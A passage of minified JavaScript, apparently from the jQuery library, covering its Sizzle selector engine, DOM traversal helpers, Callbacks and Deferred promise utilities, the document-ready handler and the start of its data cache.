u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!D.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s<o.length)!1===o[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(s=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==x(r)&&t(r)})}(arguments),n&&!t&&u()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(s,u))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,I,i),a(o,n,W,i)):(o++,l.call(e,a(o,n,I,i),a(o,n,W,i),a(o,n,I,n.notifyWith))):(r!==I&&(s=void 0,u=[e]),(i||n.resolveWith)(s,u))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},X=/^-ms-/,U=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(X,"ms-").replace(U,V)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Q(){this.expando=w.expando+Q.uid++}Q.uid=1,Q.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var J=new Q,K=new 